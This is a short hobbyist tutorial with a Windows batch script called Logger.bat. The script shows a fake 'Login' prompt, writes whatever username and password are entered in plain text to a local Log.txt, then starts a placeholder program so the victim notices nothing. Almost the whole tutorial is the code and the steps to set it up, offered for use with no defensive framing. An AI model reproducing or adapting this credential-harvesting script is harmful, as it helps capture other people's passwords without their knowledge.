What will we need
- Text editor supporting Batch (Notepad ++ is the best)
- Computer running on Windows
Steps
- First think what we will do, is create a folder called Logs. In this folder we will save our program
- Second thing what we will do , we will open our text editor (also make sure it supports Batch).
- Third thing is to copy or rewrite the code below"
@echo off
color a
title Login
cls
echo Please Enter Email Adress And Password
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >> Log.txt
start >>Program Here<<
exit - Save the file as Logger.bat into the folder Logs which you created earlier.
- Go to the folder Logs and open the file Logger
- Finished
I hope you enjoyed this tutorial and see you next time.